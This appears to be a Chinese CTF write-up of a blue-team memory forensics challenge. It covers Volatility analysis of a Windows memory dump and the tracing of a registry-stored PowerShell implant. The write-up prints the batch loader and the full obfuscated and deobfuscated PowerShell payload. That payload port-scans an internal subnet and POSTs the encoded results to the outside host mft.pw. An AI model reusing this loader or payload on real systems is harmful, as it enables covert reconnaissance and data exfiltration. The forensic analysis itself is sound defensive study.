blueteaming
解法一
把注册表dump下来
python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/
dump下来后拖到windows，用registerExplorer来找。发现拖进来后只有15个注册表，少的是SOFTWARE这个表里的，而且无法拖进registerexplorer。
python2 vol.py -f memory.dmp --profile=Win7SP1x64 dumpregistry -D ctf/
后来在网上找到申请修改注册表的命令
reg query
打开010Editor并寻找相应的字符串即可
往前翻一下也可以知道这是WindowsPolicyUpdate.cmd文件。导出文件后可以看到内容(在cmd进程内存中可以找到)。
@echo off;
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
set var="%%~a";
powershell -noprofile "%var:~19,1500%;
)
for /f "tokens=*" %%a in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication" /v code ^| find /i "REG_SZ"') do (
set var="%%~a";
powershell -noprofile "%var:~19,1500%;
)
可能也是因为恶意修改注册表的原因，解释了为什么其他15个注册表都可以打开，而这个注册表无法打开。
解法二
把cmd进程dump下来
python2 vol.py -f memory.dmp --profile=Win7SP1x64 memdump -p 7092 -D ctf/
通过strings命令
strings 7092.dmp | grep powershell
strings 7092.dmp | grep HKEY
即可找到对应的恶意代码
python2 vol.py -f memory.dmp --profile=Win7SP1x64 printkey -K "Microsoft\Windows\Communication"
flag:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication
tips
根据恶意代码可以得到执行命令的语句为：
powershell -noprofile $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
因为加密方式有限，可以猜测出为base64+deflate加密，我们通过cyberchef解密。
（加密方式根据以下链接得出。
https://zhuanlan.zhihu.com/p/137407536
https://netsec.expert/posts/write-a-crypter-in-any-language/）
这其实是一个powershell的免杀马。
得到如下
s`eT-V`A`Riab`lE Diq ( [typE]('sY'+'S'+'tEM.'+'tExT'+'.'+'EnCOdiNg') );Set-`VARI`A`B`le ('Car'+'u1') ( [TyPe]('ConveR'+'t') ) ;${i`N`V`OkEcO`MmaND} = ((('cm'+'d'+'.exe')+' /'+'c '+'C'+':'+('HaSP'+'r')+('o'+'gr')+'a'+('m'+'Dat')+'aH'+('aSnt'+'user')+'.p'+('ol'+' TC'+'P ')+('172.30'+'.1.0'+'/24 33'+'8')+('9 5'+'12 /'+'B'+'a')+('nne'+'r'))."REPL`A`cE"(([chaR]72+[chaR]97+[chaR]83),[STRInG][chaR]92));${CMdout`p`Ut} = $(i`NVoK`e-eXPRE`ss`I`on ${I`NvOk`E`cOMMaND});${B`yT`es} = ( v`ARiA`BLE dIQ -VALu )::"U`NI`coDe"."g`etBYTES"(${cm`DOu`TPUt});${eN`Co`dEd} = ( I`TEM ('VarI'+'a'+'B'+'LE'+':Caru1') ).valuE::"ToB`AS`E`64striNG"(${b`Yt`es});${poSTP`A`R`AmS} = @{"D`ATa"=${e`N`cOded}};i`N`VOkE-WEb`REQuESt -Uri ('mft.pw'+'/ccc'+'c.ph'+'p') -Method ('POS'+'T') -Body ${p`o`sTpaRaMs};
很明显是混淆过后的代码,反混淆后得到：
${invokecommand}=cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /bannersetvarible diq([type](system.text.encoding));setvariable(caru1)([type](convert));${cmdoutput} = $(invoke-expression ${invokecommand});${bytes}=(variable diq-valu)::unicode.getbytes(${cmdoutput})${encoded} = ( item ('variable:caru1') ).value::tobase64string"(${bytes});${postparams} = @{"data"=${encoded}};invoke-webrequest -uri ('*****/cccc.php') -method ('post') -body ${postparams};
可以得到该操作系统为windows Server 2008。
invokecommand
首先对该命令下手
cmd.exe /c c:\\programdata\\ntuser.pol tcp 172.30.1.0/24 3389 512 /banner
意味着端口的扫描，攻击者对172.30.1.0的网络进行端口的扫描，
而port 512，port 3389开启的时候，然后攻击者就会使用它们对内部网络进行攻击并扩散攻击范围。
而这条命令是根据这个项目https://github.com/kingron/s
查wiki就可以找到相应的端口服务。https://zh.wikipedia.org/wiki/TCP/UDP%E7%AB%AF%E5%8F%A3%E5%88%97%E8%A1%A8
进行内网用户3389端口的扫描，用于远程桌面，十分危险。
invoke-webrequest
invoke-webrequest则是powershell中的curl模块，访问mft.pw/cccc.php并把执行命令的结果通过post传过去。
那么接下来我们开始对url下手。
访问*/ccc.php发现是404.我不信，然后使用post进行抓包传参。得到如下
果然是有东西的。直接访问是失败的。
又出现了一个cloudflare的url，出现在header：report-to中。
https://a.nel.cloudflare.com/report/v2?s=YHULLPtKkHTg%2Fvi6UzwAnOERGXNqZpAVlj468dn9VZFdHvcZzsBJZzAopoVpaxqef7T52bj7H38YNbatDvWJFi3Fa6YanTlVB50w6UYfgyIwRYLi
好吧，真的什么都没有了。这些是正常的headers。
我们回到iexploer.exe进程,通过对关键词mft.pw的搜索，我很容易找到了对应的http请求。说明这里给的镜像不是简单的进行了注册表的修改，而是确实执行了该免杀马的。
再看一下这个代码的执行流程，我们可以通过pstree清晰的看到。explorer.exe执行后，连锁执行了iexplorer.exe以及cmd.exe。
而最后的winpmem_v3.3.r不用管它，是用来dump内存的。
在cmd的16进制中可以看到WindowsPolicyUpdate.cmd文件中有命令执行的代码。
当我问及如何持久化运行这个免杀马时，出题人给了我一些思路。
Find the created time when ntuser.pol was created in the MFT block of the memory dump.Most of the dropper-type malware doesn't create just one file.
我们通过volatility来提取mft(Managed file transfer)，以求寻找同时生成的异样文件。
python2 vol.py -f memory.dmp --profile=Win7SP1x64 mftparser > output.txt
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 ProgramData\WindowsPolicyUpdate.cmd
ntuser.pol
2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 2020-11-26 12:55:37 UTC+0000 ProgramData\ntuser.pol
然后对于其他的文件及其路径并没有察觉到有什么不对，下面的两个CMD文件应该是同一个文件。
strings output.txt | grep "2020-11-26 12:55:37"
我把mft输出和内存文件一起保存，希望有感兴趣的师傅能指点一下。
链接：https://pan.baidu.com/s/1T9QH-HYOQSFokCEZXVlm_g
提取码：anq6
当我通过邮件请教师傅时，一句非常普通的话，让我感受到了在今年国赛里awd中一样真实的攻防。感谢大师傅。
real attackers often delete the means of an end after they have accomplished it. To express this, i actually deleted the page. so 404 is correct.
https://zhuanlan.zhihu.com/p/137407536
https://blog.csdn.net/qq_42880719/article/details/117968361
https://mp.weixin.qq.com/s/ItaIgLxcXCjvAhyyP3On9Q
https://netsec.expert/posts/write-a-crypter-in-any-language/